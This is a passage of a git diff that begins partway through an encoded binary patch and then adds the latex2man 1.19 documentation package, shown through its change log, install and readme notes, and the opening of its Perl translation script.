zMiEGbll|ARy1Z1_-%l;|QB2uS0Q*8`88JSu37^;X_*@e{H}mkh7*o_3X>pCl){T+T zxfh4{KnHP7cKo=XO=|o5HXwv7uPCcy6YUH8E5RcC+x+TEftZTD*#*S}hy6K{}w_NQ8_4wW~VrdQg^ zIXgM}P)yrNI9N_GHV%L{IIm8*K@zFDMJz!)g2Iu{fpJ|V9wt{%6%|AgfWZ~FO(AKp zo$(XDUS6J@XeTDT<>&H}-?YrT{EdDGZ}=4lzu#meIcW$hz}mgQnvB;wh7@{XBql?2DUtreNMmQFE1x$I>AF!au`QeU& zNqBYwZHWY5?+s9k`C5ycVNFCyM|M}WU%$cfK<9tup+sS9iSC-syyVMoSqSV$;mFbh zev$sQz%>0MJDYe0kN9igoETW+3nsiYe>}V8G}@{)znD*Ed4A>@_GPmk)ey(1H5`ofpo^2Lm%FSzZD;+I@Jqm&Du&*=C$_k1$)>dUcH zt`W?t@jS0FguOkEE@oA1O2z#}6<=tOl?|hK115bpuu{Q|9X)Od^a`$V??o-+CYRi5{W%uToB#qj#WP+i*STZ7; z@Ncc>r5Bzj0jrBhH6LK}X5L);kjQi%UroWlGU;C~c{-@WlNk=1T-yd~j82Y72H=2= zRgPvGMG%9eqO=r5>Y0YW=Bg9fjW`oT@;l3}BzfJyj8T}S(HQJev47nVMY5i>*)}wf znvB^zLv#&v)7+v*)z(gP|LY7Y5H2)~zCPwsTXSuPJ!xUYeXimU3RLUr%wldebAZ~R z&0Vf3QKLp4W1$mhR=BAGCXEKJPHbv-)DdbclzxE6nvnu*x!Bs1eV&EKkR*+h6}Mp} zYQrn_Lcx0l1uvAlf?uK+Dxxph3zgBA?hDnWFYjNd_w?oC3-xgYj};o4Y4MDfNfuM4 zv|_ISZ?MQv+FgK*3VY`?0Lu&AoabIxAQAgPC!$B@UeH!y{{xf(SwIsI1k?a27|zX% znm6z#!ao`Q>EfUF_~#@1fmXH6{`-Ia_uv2HKmSY09=a>hO19EndB5^;1?V>S=R?OB zz)Xa|OJTptvkhc@`7tJ@?;SMT>S?p*r;7i#8M5E3GX;5OV1DSxGL9LzRy=`^d<^o5 z(aruiq2Mk$w!15^xL}dM27JGpO@eO_8J&8hUafQqIq#BEi56=AHTpd({)>;w%?j*Q zExd9k6_wvU5Siy~a8|iMWoI8A9Yt2WAbO%MG5DLw^l&-*^aHWX{dh?7t7F^1%rz2s`3KBSPfL^C5 zrnF(BbHC5Ne^(Am?7e-2v;0WrmE->o$Jc?u5`(@WddadQlCWIecATGoR`VYNE_UwU zzhhlYHvH{^x+?TWuE~N}BMQ-3N6hQarX@^4ViZ!~WF??03ppD;c5d0mb;jD0QvDxld6K&LCw;y{k~=2X0J6Y@m>so6)-aa(-& zkLXLXGGUQ_QO+7fDhYp3(+%ka2r|EqO{qxKm{WDpg%Eey+*uE(I}2}i{u=GUZ2F7) zxPwEN-GFp#NPKtpfnVIC)_8l99QM*}3J>%~nK&Q3ILO_Gd;;J~&qrFs)jpYIjw^8w z4&p*{kn6^{HPAj9Mj;vlA!T!;^_Ls1#Z#4zK5PqHpVueXB`Xp;tQCmgU-C)R?^HI` z@*@^{B&%qleB;!@uw)50AE%Sx3))L$qW}VR-8mp|^??Y5H#(2jn(bNSLsyri z(O7QcUzvn$w=#mdTD`xQ)bsnvtKG4qxpOkVue{ofzUEIJEvmL_j;@mim>-lC5pO1s zmD+Z%;3P1PXI+mpLoILXIV0ze!XmF@55_?|zW*-v=-i1tI#o*6)$0GfOf(;xyxLrJ z@@jX)XD+YJM=7s17p1(~43zG`lAW0>$zhK&V|IF~>^IEQD^RWJ^lN$61g9{7J%fLb z_3^gK*UcW4{t@%V8pI5>K+a8OwTP0LZ z!C6F{LHhh?Z>eF8x8>N}4`4;f?r_?;7OOgpt=o?B1HRR!1)R%hx2jJC^S>GSB7!`G z(v?gF#P5u|1-Nbmm2pV^{+EuXimOaRF_#BJbfl#;ZaZt38Q0% zEZ1T}n!?keyL4ocdc&?^_;f@fKP89@SUap!GB_yLYAD_>>Xh*;oH~iLo10VS01N97 zIF8nj1r(;`>2L`KuSYJd;gM%NRC0U?s%*6^V?5@YzY;~(i_T1a`2uR;)sd&`8`S18 zIoYnF46H!TwvwxGIKk;E!NVcO0XXn6HKdo(Z9RCMA#M+=64gf_nER)`J^0wfXboR5 zgRcisxSFz|*$TZ!YG?VFS;WD0%J!$EXmC0kJm4$Qjqk4~qVo0pg_xVpIgG>)cIn8T}vO6a-) zkYD#{{SOAhE3wfLFdthqPP_-E=ji~;zzaOOUx0ockLkV|nC<6pV~mF#^~acM8^3zz z0vJl;Z5?OLy#R>hX011v$;&Na_Pfh2>r^PBiZwfu`*wy2x;-~u&5Jgq z2sI*d6v7w!P~LC^bZU1tfUftDUV0-n*Js@0uqWjX5LtDNroBA1Z^N7TbQ-iD#W9F6 z(;2 zC&+cCTc&thRTe+r{qErQ-R`T~teN-pik)9>yuy0rlcw1*tik2dDera}D{uaq%Q8WE zZNJZfY4_{eb|mcib@A6`_qXR{*VWIwxHqNu)Lq`4e%d>pm+!x_RX>(-^5>s^n*0g5 z&l&&SujT!!mbcPAMZ4mR<4MEzwqN)D^Hg=dXIj0B^VC7z6*p==?bxfR{^0-7-e#3^ z$Ksg3O_4ap*7Un?xvGrrWCKIPqdS`75}rg}$qqO-nNRad-^$MLES}Xi=PkGJyI%SB zMWeIrC2NM<~SqMSI=FUkM(v$s-E4Zq6pI(oGT#~%*UnHdMl7X>_;&T{clr%JK- zl&$=QE&nI3{59b#)BgOlU%jkTE;*L>?Pgyfb#PnBI)CE>RY$$Q|I)m7u>9C9;m7}1 zuya2NG?>e__KQ*MU$>LI2D7T(9%7Zfq`oxnz#9SKS-VvB{#g<~B`zV2&*I)GN}1flJ@#=h$SQZ#rJreOvv!!`YvkM1I{atNwiR@~?NSSKHj!> z>%Rzby>DyoY@5I3x@lLb9m|Xze$kWH=B#mkc5F+e{vSK|IkD~b^#A&YKSkP|PXDPh|LNwMY3E7heD?qNNB-t!aa)E5Yz(7d tGz3ONU^E0qLtr!nMnhmU1V%$(Gz3ONU^E0qLtr!nMnhmU1cq}60022tnKS?Z literal 0 HcmV?d00001 diff --git a/docs/latex2man/CHANGES b/docs/latex2man/CHANGES new file mode 100644 index 0000000..5e46dbb --- /dev/null +++ b/docs/latex2man/CHANGES @@ -0,0 +1,99 @@ + + Change history of the latex2man package + ======================================= + +$Id: CHANGES,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ +1.19 12 Sep 2005 - Thanks to Aleksey Nogin for + his bugfix of the problem he found: + "I came across another issue in the latest + latex2man - if the source file has "\verb+.foo+" in + it, then the ".foo" will be copied to the man page + verbatim and if it happens to be placed on the + beginning of a line, then troff will consider it to + be a command and not display it properly." +1.18 20 July 2005 - latex2man.sty: Removed option pdf. +1.17 14 Oct 2004 - Fixed order of gerating & for HTML + (Thanks to Aleksey Nogin ) +1.16 06 Sep 2004 - Fixed handling of % in \verb+..+ and verbatim + environments + (Thanks to Aleksey Nogin ) + - added \subsubsection +1.15 12 Dec 2001 - added extra stuff in the headline of man pages + (thanks to Andrew Anderson ) +1.14 18 June 2001 - TROFF generation: fixed handling of leading . and ' + - removed macro \Dot +1.13 08 May 2001 - Added \begin{center} / \end{center}. + - Reimplemented font changing stuff in TROFF + generation (use now troff instead of -man commands). +1.12.3 10 Apr 2001 - Fixed \oOptArg in man output. +1.12.2 12 Mar 2001 - Fixed handling of conditional translation to LaTeX + (if in a IF .. ELSE .. END-IF, the condition + evaluates to true, the ELSE and END-IF are written + to the result file, but not the IF... + Now all %@% directives are written.) +1.12.1 13 Sep 2000 - In \setDate and \setVersion a ~ is replaced by the + output specific blank. +1.12 28 Aug 2000 - Fixed error in htmlVerb (thanks to + Glunz Wolfgang ) + - Fixed error in conditional text handling: + (%@%ELSE%@% was not handled correct). +1.11 25 Aug 2000 - Fixed error in conditional text handling: + (MAN was not enabled by default, when calling + with -M). + - Added eror message, if arguments of \begin{Name}, + \section, and \subsection are not contained on a + single line. +1.10.1 21 Aug 2000 - Better handling of \Tilde. +1.10 13 Jun 2000 - added \Begin{Description}[label] (based on an idea of + Andi Winter ) + - Thanks to Andi Winter : + - fixed: removed wrong line break in date for + TROFF output + - fixed wrong line breaks in some TROFF macros + - fixed wrong output of optional arguments in TROFF + - allow spaces between `\item' and following `[' +1.9.1 20 Mar 2000 - added \OptoArg \oOptoArg Option with optional + argument (Thanks to Andi Winter ) +1.9 13 Mar 2000 - latex2man.sty: Added option pdf. + latex2man: define names HTML TEXI MAN LATEX + automatically. +1.8 11 Feb 2000 - Added verbatim environment (many thanks to + "Olaf Maibaum" + who provided me the troff generation code) + - Added better handling of german Umlaut + - Fixed minor HTML tag mismatch. +1.7.1 17 Nov 1999 - Fixed END_IF handling of -L option. +1.7 25 July 1999 - Allow german Umlaute to be written as \"a, etc. +1.6.4 30 May 1999 - Added fix of Frank.Schilder@Mathematik.TU-Ilmenau.DE + line 418: from + if ($manRS == 0 && $list_nest > 0) { + to + if ($manRS == 0 && $list_nest > 1) { + line 471: from + + # manParagraph; + to + manParagraph; +1.6.3 25 Mar 1999 - Added \, Math stuff is matched now after macro + arguments +1.6.2 21 Nov 1998 - Added \LBr / \RBr, added \setlength{}{} and \itemsep + \Dollar $\ge$, $\le$, $\leftarrow$, $\Leftarrow$, + $\rightarrow$, $\Rightarrow$. +1.6.1 14 Sep 1998 - Added $<=$, $>=$, $=$ $<>$. +1.6 08 Sep 1998 - Added \SP macro. + - Hyphenation \- is translated for TexInfo into @-. + - Runs now under older Versions of Perl (e.g. 5.03). +1.5 22 Aug 1998 - Support for the fanyhdr package, added latex2man.cfg + - Now \% and \- work. +1.4 23 July 1998 - Fixed typos. + - Fixed generated HTML + The following is wrong: .... + Correct is: ... +1.3 03 June 1998 - Add conditional text feature +1.2 18 Jan 1998 - Enumerate/itemize/description environments may + be nested now. + - Output specific line break macros. +1.1 14 Jan 1998 - Fixed bug in HTML generation (no blanks emited + after \hline) +1.0 11 Jan 1998 - Initial version + diff --git a/docs/latex2man/INSTALL b/docs/latex2man/INSTALL new file mode 100644 index 0000000..33cd2a6 --- /dev/null +++ b/docs/latex2man/INSTALL @@ -0,0 +1,49 @@ +How to install latex2man: + +Requirements: + - Latex2man requires Perl version >= 5.0004_03. + - LaTeX2e + - If you want to install the system with the distributed Makefile, you need + GNU-make. If you don't have it, you should execute the steps shown + in the Makefile manually. + +Installation: + - Edit the Makefile and set + BIN_DIR = $(HOME)/bin + MAN_DIR = $(HOME)/man + HTML_DIR = $(HOME)/public_html + INFO_DIR = $(HOME)/info + TEX_DIR = $(HOME)/tex/inputs + CFG_DIR = $(HOME)/tex/inputs + to your needs + - If you do not have pdflatex installed, remove in the "all" goal, + the sub goal "$(BASE).pdf". + - Edit latex2man and set in the first line + #!/usr/local/bin/perl + to the correct path + - make install + +That's it. + +The following files should be part of this package: + latex2man/latex2man + latex2man/latex2man.tex + latex2man/latex2man.cfg + latex2man/latex2man.sty + latex2man/latex2man.trans + latex2man/latex2man.1 + latex2man/latex2man.txt + latex2man/latex2man.html + latex2man/latex2man.texi + latex2man/latex2man.info + latex2man/latex2man.pdf + latex2man/Makefile + latex2man/README + latex2man/INSTALL + latex2man/CHANGES + latex2man/THIS-IS-VERSION-x.y + +Juergen + +$Id: INSTALL,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ + diff --git a/docs/latex2man/README b/docs/latex2man/README new file mode 100644 index 0000000..b49a6f6 --- /dev/null +++ b/docs/latex2man/README @@ -0,0 +1,34 @@ + + latex2man + ========= + +Latex2man is a tool to translate UNIX manual pages written with LaTeX into a +format understood by the UNIX man(1)-command. +Alternatively HTML, TexInfo, or LaTeX code can be produced too. +Output of parts of the text may be supressed using the conditional text +feature (for this, LaTeX generation may be used). + +There is LaTeX package (latex2man.sty) used for writing the Man-page +and a PERL script (latex2man) doing the actual translation. + +Requirements: + - Latex2man requires Perl version >= 5.0004_03. + - LaTeX2e + +VERSION: 1.19 + +Author and Copyright (c) 1998: + Dr. Jrgen Vollmer + Viktoriastrae 15 + D-76133 Karlsruhe + Email: . + +License: + This program can be redistributed and/or modified under the terms + of the LaTeX Project Public License Distributed from CTAN + archives in directory macros/latex/base/lppl.txt; either + version 1 of the License, or any later version. + +If you find this software useful, please send me a postcard. + +$Id: README,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ diff --git a/docs/latex2man/THIS-IS-VERSION-1.19 b/docs/latex2man/THIS-IS-VERSION-1.19 new file mode 100644 index 0000000..a04bd96 --- /dev/null +++ b/docs/latex2man/THIS-IS-VERSION-1.19 @@ -0,0 +1 @@ +VERSION 1.19 DATE=2005/09/12 diff --git a/docs/latex2man/latex2man b/docs/latex2man/latex2man new file mode 100755 index 0000000..0810d64 --- /dev/null +++ b/docs/latex2man/latex2man @@ -0,0 +1,1789 @@ +#!/usr/bin/perl +# Project: Documentation Tools +# Descr: Latex --> MAN-page (groff -man), HTML and TexInfo; +# Language: PERL (>= 5.0) +# Author: Dr. Jrgen Vollmer, Juergen.Vollmer@informatik-vollmer.de +# $Id: latex2man,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ +# +# Copyright (C) 1998 Dr. Juergen Vollmer +# Viktoriastrasse 15, D-76133 Karlsruhe, Germany +# Juergen.Vollmer@informatik-vollmer.de +# License: +# This program can be redistributed and/or modified under the terms +# of the LaTeX Project Public License Distributed from CTAN +# archives in directory macros/latex/base/lppl.txt; either +# version 1 of the License, or any later version. +# +# If you find this software useful, please send me a postcard. + +require 5.0004_03; + +use Getopt::Std; + +# use strict 'vars'; + +$CMD=`basename $0`; chop ($CMD); +$gen_date = `date`; chomp $gen_date; # date when the output was generated + +sub date2str; +$VERSION = "1.19"; +$DATE = date2str ('$Date: 2006/10/18 16:57:05 $' =~ m|(\d+/\d+/\d+)|); + +$tmp = "/tmp/$CMD.$$"; + +################################################################## +# check option and arguments +################################################################## + +getopts('o:t:VhMHTLC:D:a:'); # -D1: write each read line -D2: write each word + +sub usage +{ +print <<'END'; +usage: latex2man [-t transfile] [-HTML] [-C name] [-h] [-V] infile outfile. + A tool to translate UNIX manual pages written with LaTeX into a format + understood by the UNIX man(1)-command. + Reads infile, writes outfile. + + -t transfile: Translation for user defined LaTeX macros. + -M: Produce output suitable for the man(1) command (default). + -H: Instead of producing output suitable for the man(1) command, + HTML code is produced (despite of the name of the command). + -T: Instead of producing output suitable for the man(1) command, + TEXINFO code is produced (despite of the name of the command). + -L: Output the LaTeX source. Useful in conjunctin with the -C + option. + -C name: Enable conditional text \`name\'. + To enable more than one conditional name use quotes: + -C 'name1 name2 ...' + The following names are defined automatically: + -H defines HTML + -T defines TEXI + -M defines MAN + -L defines LATEX + -a char: Is used only in conjunction with -T. + Background: + TEXINFO ignores all blanks before the first word on a + new line. In order to produce some additional space before + that word (using \SP) some character has to be printed + before the additional space. By default this is a . (dot). + The \`char' specifies an alternative for that first character. + Giving a blank (-a" ") supresses the indentation of a line. + Note: only for the first \SP of a series that char is printed. + -h: Help. + -V: Version. + + Copyright (C) 1998 Dr. Jrgen Vollmer, Viktoriastr. 15, D-76133 Karlsruhe + email: Juergen.Vollmer@informatik-vollmer.de + License: + This program can be redistributed and/or modified under the terms + of the LaTeX Project Public License Distributed from CTAN + archives in directory macros/latex/base/lppl.txt; either + version 1 of the License, or any later version. + + If you find this software useful, please send me a postcard from the place + where you are living. +END + print " Version $VERSION, $DATE.\n"; + exit 1; +} + +($opt_h) && usage; +($opt_V) && print "Version: $VERSION, $DATE\n"; + +my %cond_name; +if ($opt_C) { + my $name; + foreach $name ((split (/\s/, $opt_C))) { + $cond_name{$name} = 1; + } +} +$cond_name{MAN} = 1 if ($opt_M || (!($opt_H || $opt_T || $opt_L))); +$cond_name{HTML} = 1 if ($opt_H); +$cond_name{TEXI} = 1 if ($opt_T); +$cond_name{LATEX} = 1 if ($opt_L); + +(@ARGV == 2) || die "$CMD: Expected two arguments: infile outfile. Try \`$CMD -h'.\n"; + +$ManCode = $opt_M || (!($opt_H || $opt_T)); + +$SrcFile = $ARGV[0]; +$DestFile = $ARGV[1]; +open (SRC, "<$SrcFile") || die "$CMD: Can't open file \`$SrcFile' for reading.\n"; +if ($opt_H || $opt_T) { + # DestFile will be written in the postprocess + open (DEST, ">$tmp") || die "$CMD: Can't open file \`$tmp' for writing.\n"; +} else { + open (DEST, ">$DestFile") || die "$CMD: Can't open file \`$DestFile' for writing.\n"; +} + +######################################################################## + +# global variables + +# $Prefix is used to construct procedure and variable names +if ($ManCode) { + $Prefix = "man"; +} +if ($opt_H) { + $Prefix = "html"; +} +if ($opt_T) { + $Prefix = "texi"; +} + +$texiCenterLine = 0; # true, only in TEXI-mode if a line must be centered +$paragraph = 0; # true, if the last output was a paragraph marker +$newline = 0; # true, if the last output was a newline char + +$first_word = 1; # true, if the next word to be processed is the first + # of a new paragraph or after a line break. + +# handling of itemize/enumerate/description environments: +$list_nest = 0; # counts nesting of itemize/enumerate/description envrionments +$cur_list[0] = "";# array, indexed with list_nest, indicates kind of list: + # values are: 'enum' / 'descr' / 'item' +$item_nr[0] = 0; # array, indexed with list_nest, counts the number of \item in the + # list +$manRS = 0; # true, if for Man a .RS was given after a \item + +$inside_verb = 0; # true, if inside a verbatim environment +$inside_table = 0; # true, if inside a table environment +$first_column = 0; # true, if this is the first column in a table row +$columns = 0; # nr of columns in the current table +$enum_nr = 0; # current number of an enumeration +$nesting = 0; # count recursive calls of interpret_word +$section_cnt = 0; # Index into $sections +#$sections[0] # Array of all sections +#$section_kind # Array of section kind (subsection/section) + +# translation of LaTeX macros without, with one and with two arguments +$Macro = \%{$Prefix . "Macro"}; +$Macro1a = \%{$Prefix . "Macro1a"}; +$Macro1b = \%{$Prefix . "Macro1b"}; +$Macro2a = \%{$Prefix . "Macro2a"}; +$Macro2b = \%{$Prefix . "Macro2b"}; +$Macro2c = \%{$Prefix . "Macro2c"}; + +# translations of special characters +$LetterCode = \%{$Prefix . "LetterCode"}; + +######################################################################## + +sub interpret_word; +sub interpret_line; +sub Print; +sub PrintM; +sub NL; + +######################################################################## +# Translation for LaTeX macros for MAN + +# translation of special characters +$manLetterCode{''} = ''; +$manLetterCode{''} = ''; +$manLetterCode{''} = ''; +$manLetterCode{''} = ''; +$manLetterCode{''} = ''; +$manLetterCode{''} = ''; +$manLetterCode{''} = ''; + +# LaTeX macros without arguments +$manMacro{'LaTeX'} = 'LaTeX'; +$manMacro{'LATEX'} = 'LaTeX'; # needed, since \LaTeX is contained in a + # section name (which are transposed + # into uppercase +$manMacro{'itemsep'} = ' '; + +# some math +$manMacro{'rightarrow'} = '-->'; +$manMacro{'Rightarrow'} = '==>'; +$manMacro{'leftarrow'} = '<--'; +$manMacro{'Leftarrow'} = '<=='; +$manMacro{'ge'} = '>='; +$manMacro{'le'} = '<='; + +$manMacro{'Dollar'} = '$'; +$manMacro{'Bar'} = '|'; +$manMacro{'Bs'} = '\\\\'; +$manMacro{'Tilde'} = '~'; +$manMacro{'hline'} = '\n_'; +$manMacro{'noindent'} = ''; +$manMacro{'copyright'} = '(C)'; +$manMacro{'Dots'} = '\&...\n'; +$manMacro{'Circum'} = '^'; +$manMacro{'Lbr'} = '['; +$manMacro{'Rbr'} = ']'; +$manMacro{'LBr'} = '{'; +$manMacro{'RBr'} = '}'; +$manMacro{'Percent'} = '%'; +$manMacro{'Bullet'} = '*'; +$manMacro{'TEXbr'} = ''; +$manMacro{'MANbr'} = '\n.br\n'; +$manMacro{'TEXIbr'} = ''; +$manMacro{'HTMLbr'} = ''; +$manMacro{'medskip'} = '\n'; +$manMacro{'SP'} = '\fB \fP'; # hack hack this works even on + # the beginning of a line +$manMacro{'SPfirst'} = $manMacro{'SP'}; + +$manMacro{'~'} = ' '; +$manMacro{'|'} = '|'; +$manMacro{'<'} = '<'; +$manMacro{'>'} = '>'; +$manMacro{'<='} = '<='; +$manMacro{'>='} = '>='; +$manMacro{'='} = '='; +$manMacro{'<>'} = '<>'; +$manMacro{'{'} = '{'; +$manMacro{'}'} = '}'; +$manMacro{'_'} = '_'; +$manMacro{'$'} = '$'; +$manMacro{'#'} = '#'; +$manMacro{'&'} = '&'; +$manMacro{'%'} = '%'; +$manMacro{'-'} = ''; +$manMacro{','} = ' '; + +$manMacro{'\\'} = '\n.br'; # line break +$manMacro{'\\Tab'} = ''; # end of column in a table environment + +# LaTeX macros with one argument +$manMacro1a{'emph'} = '\fI'; + $manMacro1b{'emph'} = '\fP'; +$manMacro1a{'textbf'} = '\fB'; + $manMacro1b{'textbf'} = '\fP'; +$manMacro1a{'texttt'} = ''; + $manMacro1b{'texttt'} = ''; +$manMacro1a{'verb'} = ''; + $manMacro1b{'verb'} = ''; +$manMacro1a{'underline'} = '\n.ul\n'; + $manMacro1b{'underline'}= '\n'; +$manMacro1a{'section'} = '\n.SH '; + $manMacro1b{'section'} = '\n'; +$manMacro1a{'subsection'} = '\n.SS '; + $manMacro1b{'subsection'} = ''; +$manMacro1a{'subsubsection'} = '\n.SS '; + $manMacro1b{'subsubsection'} = ''; + +$manMacro1a{'Prog'} = ''; + $manMacro1b{'Prog'} = ''; +$manMacro1a{'File'} = ''; + $manMacro1b{'File'} = ''; +$manMacro1a{'Opt'} = '\fB'; + $manMacro1b{'Opt'} = '\fP'; +$manMacro1a{'oOpt'} = '[\fB'; + $manMacro1b{'oOpt'} = '\fP]'; +$manMacro1a{'Arg'} = '\fI'; + $manMacro1b{'Arg'} = '\fP'; +$manMacro1a{'oArg'} = '[\fI'; + $manMacro1b{'oArg'} = '\fP]'; +$manMacro1a{'Email'} = '\fB'; + $manMacro1b{'Email'} = '\fP'; +$manMacro1a{'URL'} = '\fB'; + $manMacro1b{'URL'} = '\fP'; + +# LaTeX macros with two arguments +$manMacro2a{'Cmd'} = '\fI'; + $manMacro2b{'Cmd'} = '\fP('; + $manMacro2c{'Cmd'} = ')'; +$manMacro2a{'OptArg'} = '\fB'; + $manMacro2b{'OptArg'} = '\fP\fI'; + $manMacro2c{'OptArg'} = '\fP'; +$manMacro2a{'OptoArg'} = '\fB'; + $manMacro2b{'OptoArg'} = '\fP[\fI'; + $manMacro2c{'OptoArg'} = '\fP]'; +$manMacro2a{'oOptArg'} = '[\fB'; + $manMacro2b{'oOptArg'} = '\fP\fI'; + $manMacro2c{'oOptArg'} = '\fP]'; +$manMacro2a{'oOptoArg'} = '[\fB'; + $manMacro2b{'oOptoArg'} = '\fP[\fI'; + $manMacro2c{'oOptoArg'} = '\fP]]'; +$manMacro2a{'setlength'} = ''; + $manMacro2b{'setlength'}= ''; + $manMacro2c{'setlength'}= ''; + +######################################################################## +# Translation for LaTeX macros for HTML + +# translation of special characters +$htmlLetterCode{''} = 'ä'; +$htmlLetterCode{''} = 'ö'; +$htmlLetterCode{''} = 'ü'; +$htmlLetterCode{''} = 'Ä'; +$htmlLetterCode{''} = 'Ö'; +$htmlLetterCode{''} = 'Ü'; +$htmlLetterCode{''} = 'ß'; + +# LaTeX macros without arguments +$htmlMacro{'LaTeX'} = 'LaTeX'; +$htmlMacro{'LATEX'} = 'LaTeX'; # needed, since \LaTeX is contained in a + # section name (which are transposed + # into uppercase +$htmlMacro{'itemsep'} = ''; + +# some math +$htmlMacro{'rightarrow'} = '-->'; +$htmlMacro{'Rightarrow'} = '==>'; +$htmlMacro{'leftarrow'} = '<--'; +$htmlMacro{'Leftarrow'} = '<=='; +$htmlMacro{'ge'} = '>'; +$htmlMacro{'le'} = '<='; + +$htmlMacro{'Dollar'} = '$'; +$htmlMacro{'Bar'} = '|'; +$htmlMacro{'Bs'} = '\\'; +$htmlMacro{'Tilde'} = '~'; +$htmlMacro{'hline'} = ''; +$htmlMacro{'noindent'} = ''; +$htmlMacro{'copyright'} = '©'; +$htmlMacro{'Dots'} = '...'; +$htmlMacro{'Circum'} = '^'; +$htmlMacro{'Lbr'} = '['; +$htmlMacro{'Rbr'} = ']'; +$htmlMacro{'LBr'} = '{'; +$htmlMacro{'RBr'} = '}'; +$htmlMacro{'Percent'} = '%'; +$htmlMacro{'Bullet'} = '*'; +$htmlMacro{'TEXbr'} = ''; +$htmlMacro{'MANbr'} = ''; +$htmlMacro{'TEXIbr'} = ''; +$htmlMacro{'HTMLbr'} = '
\n'; +$htmlMacro{'medskip'} = '
\n'; +$htmlMacro{'SP'} = '  '; +$htmlMacro{'SPfirst'} = $htmlMacro{'SP'}; + +$htmlMacro{'~'} = ' '; +$htmlMacro{'|'} = '|'; +$htmlMacro{'<'} = '<'; +$htmlMacro{'>'} = '>'; +$htmlMacro{'<='} = '<='; +$htmlMacro{'>='} = '>='; +$htmlMacro{'='} = '='; +$htmlMacro{'<>'} = '<>'; +$htmlMacro{'{'} = '{'; +$htmlMacro{'}'} = '}'; +$htmlMacro{'_'} = '_'; +$htmlMacro{'$'} = '$'; +$htmlMacro{'#'} = '#'; +$htmlMacro{'&'} = '&'; +$htmlMacro{'%'} = '%'; +$htmlMacro{'-'} = ''; +$htmlMacro{','} = ' '; + +$htmlMacro{'\\'} = '
\n'; # line break +$htmlMacro{'\\Tab'} = '\n\n'; # end of column in a table environment + +# LaTeX macros with one argument +$htmlMacro1a{'emph'} = ''; + $htmlMacro1b{'emph'} = ''; +$htmlMacro1a{'textbf'} = ''; + $htmlMacro1b{'textbf'} = ''; +$htmlMacro1a{'texttt'} = ''; + $htmlMacro1b{'texttt'} = ''; +$htmlMacro1a{'verb'} = ''; + $htmlMacro1b{'verb'} = ''; +$htmlMacro1a{'underline'} = ''; + $htmlMacro1b{'underline'} = ''; +$htmlMacro1a{'section'} = '\n

'; + $htmlMacro1b{'section'} = '

\n'; +$htmlMacro1a{'subsection'} = '\n

'; + $htmlMacro1b{'subsection'} = '

\n'; +$htmlMacro1a{'subsubsection'} = '\n
'; + $htmlMacro1b{'subsubsection'} = '
\n'; +$htmlMacro1a{'Email'} = '\n'; + $htmlMacro1b{'Email'} = ''; +$htmlMacro1a{'URL'} = '\n'; + $htmlMacro1b{'URL'} = ''; + +$htmlMacro1a{'Prog'} = ''; + $htmlMacro1b{'Prog'} = ''; +$htmlMacro1a{'File'} = ''; + $htmlMacro1b{'File'} = ''; +$htmlMacro1a{'Opt'} = ''; + $htmlMacro1b{'Opt'} = ''; +$htmlMacro1a{'oOpt'} = '['; + $htmlMacro1b{'oOpt'} = ']'; +$htmlMacro1a{'Arg'} = ''; + $htmlMacro1b{'Arg'} = ''; +$htmlMacro1a{'oArg'} = '['; + $htmlMacro1b{'oArg'} = ']'; + +# LaTeX macros with two arguments +$htmlMacro2a{'Cmd'} = ''; + $htmlMacro2b{'Cmd'} = '('; + $htmlMacro2c{'Cmd'} = ')'; +$htmlMacro2a{'OptArg'} = ''; + $htmlMacro2b{'OptArg'} = ''; + $htmlMacro2c{'OptArg'} = ''; +$htmlMacro2a{'OptoArg'} = ''; + $htmlMacro2b{'OptoArg'} = '['; + $htmlMacro2c{'OptoArg'} = ']'; +$htmlMacro2a{'oOptArg'} = '['; + $htmlMacro2b{'oOptArg'} = ''; + $htmlMacro2c{'oOptArg'} = ']'; +$htmlMacro2a{'oOptoArg'} = '['; + $htmlMacro2b{'oOptoArg'} = '['; + $htmlMacro2c{'oOptoArg'} = ']]'; +$htmlMacro2a{'setlength'} = ''; + $htmlMacro2b{'setlength'} = ''; + $htmlMacro2c{'setlength'} = ''; + +# we handle sections in HTML as having two arguments, 1. the number, 2. the name +$htmlMacro2a{'section'} = '\n

'; + $htmlMacro2c{'section'} = '

\n'; +$htmlMacro2a{'subsection'} = '\n

'; + $htmlMacro2c{'subsection'} = '

\n'; +$htmlMacro2a{'subsubsection'} = '\n
'; + $htmlMacro2c{'subsubsection'} = '
\n'; + +# we handle Email and URL special in HTML, the LaTeX argument is doubled. +$htmlMacro2a{'Email'} = ''; + $htmlMacro2c{'Email'} = ''; +$htmlMacro2a{'URL'} = ''; + $htmlMacro2c{'URL'} = ''; + +######################################################################## +# Translation for LaTeX macros for TexInfo + +# translation of special characters +$texiLetterCode{''} = '@"a'; +$texiLetterCode{''} = '@"o'; +$texiLetterCode{''} = '@"u'; +$texiLetterCode{''} = '@"A'; +$texiLetterCode{''} = '@"O'; +$texiLetterCode{''} = '@"U'; +$texiLetterCode{''} = '@ss{}'; + +# LaTeX macros without arguments +$texiMacro{'LaTeX'} = 'LaTeX'; +$texiMacro{'LATEX'} = 'LaTeX'; # needed, since \LaTeX is contained in a + # section name (which are transposed + # into uppercase +$texiMacro{'itemsep'} = ''; + +# some math +$texiMacro{'rightarrow'} = '-->'; +$texiMacro{'Rightarrow'} = '==>'; +$texiMacro{'leftarrow'} = '<--'; +$texiMacro{'Leftarrow'} = '<=='; +$texiMacro{'ge'} = '>='; +$texiMacro{'le'} = '<='; + +$texiMacro{'Dollar'} = '$'; +$texiMacro{'Bar'} = '|'; +$texiMacro{'Bs'} = '\\'; +$texiMacro{'Tilde'} = '~'; +$texiMacro{'hline'} = ''; +$texiMacro{'noindent'} = '\n@noindent\n'; +$texiMacro{'copyright'} = '@copyright{}'; +$texiMacro{'Dots'} = '...'; +$texiMacro{'Circum'} = '^'; +$texiMacro{'Lbr'} = '['; +$texiMacro{'Rbr'} = ']'; +$texiMacro{'LBr'} = '@{'; +$texiMacro{'RBr'} = '@}'; +$texiMacro{'Percent'} = '%'; +$texiMacro{'Bullet'} = '*'; +$texiMacro{'TEXbr'} = ''; +$texiMacro{'MANbr'} = ''; +$texiMacro{'TEXIbr'} = '@*\n'; +$texiMacro{'HTMLbr'} = ''; +$texiMacro{'medskip'} = '@sp 2\n'; +$texiMacro{'SP'} = '@ @ '; + +if ($opt_a) { + $texiMacro{'SPfirst'} = $opt_a . '@ '; + } else { + 